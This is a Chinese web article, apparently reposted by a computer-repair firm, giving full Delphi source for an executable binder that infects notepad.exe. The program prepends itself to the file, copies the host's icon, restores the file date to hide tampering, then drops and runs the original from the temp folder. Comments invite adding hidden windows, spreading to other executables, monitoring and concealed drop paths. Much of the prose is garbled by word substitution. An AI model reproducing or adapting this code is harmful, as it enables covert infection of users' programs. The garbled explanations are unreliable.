设为主页 | 加入收藏 | 繁體中文

捆绑执行文件新思维

  最新功效:与其它步伐捆绑后,图标为其它步伐的图标
  这个树模步伐没有form,编译、紧缩后仅40K,运行后不长驻内存
  如果加上隐蔽的窗体,加上搜刮可执行步伐的功效,加上监视体系的功效,加上 %$#@*^ 功效...
  步伐中几个数字的确定:
  1 在本步伐编译后用Aspack.Exe紧缩,巨细为41472
  2 经过阐发,本步伐在用Aspack.Exe紧缩后,图标前面部分长40751,图标数据
  位于从第40752字节开端共640字节,图标后另有81字节
  与其它步伐捆绑的历程:
  本步伐的前40751字节+被捆绑步伐的图标+本步伐最后81字节+被捆绑步伐全部
  怎样找到图标的位置:
  将步伐的图标设定为一个32*32的红色块,在步伐经过编译、紧缩后,用十六进制
  编辑软件载入,查找“99 99 99”字符串即可。以后你可为步伐加上其它合适的图标。
  十六进制编辑软件:常用UltraEdit。
  本人嫌它有日限期制,自编了一个,有十六进制编辑、比力、查找功效,并在不停美满中,敷衍几百K的文件没题目:
  http://guanbh.top263.net/download/hexedit.exe
  }
  program exe2;
  uses
  classes,
  Tlhelp32,
  windows,
  graphics,
  ShellAPI,
  SysUtils;
  {$R *.RES}
  var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
  const
  MySize=41472; {!!这个值要凭据编译或紧缩后的文件巨细进行修改!!}
  procedure copy2(s:string);
  var
  s1,s2,IcoStream:TMemoryStream;
  File2:TFilestream;
  ch:array[0..1] of char;
  ss:string;
  filetime,fhandle:integer;
  l:integer;
  File2Icon:Ticon;
  begin
  {若文件s不存在}
  if FileExists(s)=False then exit;
  try
  {若文件不含图标,就不捆绑}
  File2Icon:=Ticon.Create;
  l:=extracticon(handle,pchar(s),0);
  if l=0 then
  begin
  File2Icon.Free;
  exit;
  end
  else
  begin
  {提取被捆绑步伐图标}
  File2Icon.Handle:=extracticon(handle,pchar(s),0);
  IcoStream:=TMemoryStream.Create;
  File2Icon.SaveToStream(IcoStream);
  File2Icon.Free;
  end;
  {果断文件s中有没有第2个步伐头'MZ'。如有,表现曾经归并过}
  File2:=TFilestream.Create(s,fmopenread);
  if File2.Size>MySize then
  begin
  File2.Position:=MySize;
  File2.Read(ch,2);
  ss:=copy(ch,1,2);
  if ss='MZ' then
  begin
  File2.Free;
  exit;
  end;
  end;
  File2.Free;
  {将本文件与文件s归并 本文件+s=s}
  s2:=TMemoryStream.Create;
  s2.loadfromfile(ExeName);
  s1:=TMemoryStream.Create;
  {
  加入本步伐的前部40751字节
  第40752字节开端共640字节为图标数据
  !!以下数字 40751,81要凭据现实情况修改!!
  }
  s1.copyfrom(s2,40751);
  {将图标换为被捆绑步伐图标,图标巨细为766}
  IcoStream.Position:=126;
  s1.CopyFrom(IcoStream,640);
  IcoStream.Free;
  s2.Position:=40751+640;
  {加入本步伐的后部81字节}
  s1.CopyFrom(s2,81);
  s2.clear;
  s2.loadfromfile(s);
  s1.seek(s1.size,soFromBeginning);
  {加入被捆绑步伐全部}
  s1.copyfrom(s2,s2.size);
  s2.free;
  {得到文件s的日期}
  fhandle:=FileOpen(s, fmOpenread);
  filetime:=filegetdate(fhandle);
  fileclose(fhandle);
  s1.SaveToFile(s);
  {恢复文件s的日期}
  fhandle:=FileOpen(s, fmOpenwrite);
  filesetdate(fhandle,filetime);
  fileclose(fhandle);
  s1.free;
  except end;
  end;
  procedure CreateFileAndRun;
  var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
  Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
  s1.Free;
  exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  try
  {
  把文件开释到临时目录。
  如果你不想让人看到在这个目录下开释了一堆文件,可改为其它更隐蔽的目录,
  如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研讨研讨吧!☆)
  }
  s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));
  except end;
  cmdstr:='';
  a:=1;
  while ParamStr(a)<>'' do begin
  cmdstr:=cmdstr+ParamStr(a)+' ';
  inc(a);
  end;
  {运行真正的步伐文件}
  winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
  end;
  begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:='';
  while found do
  begin
  ProcessStr:=ProcessStr+lppe.szExeFile;{列出全部历程}
  found:=Process32Next(handle,lppe);
  end;
  {如果notepad没运行,就与它捆在一起}
  if pos(WinDir+'\notepad.exe',ProcessStr)=0 then
  begin
  copy2(WinDir+'\notepad.exe');
  end;
  {其它必要捆绑的文件
  if pos(...,ProcessStr)=0 then
  begin
  copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用这个步伐干点其它的什么...
  }
  CreateFileAndRun;{开释文件并带参数运行}
  end.
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: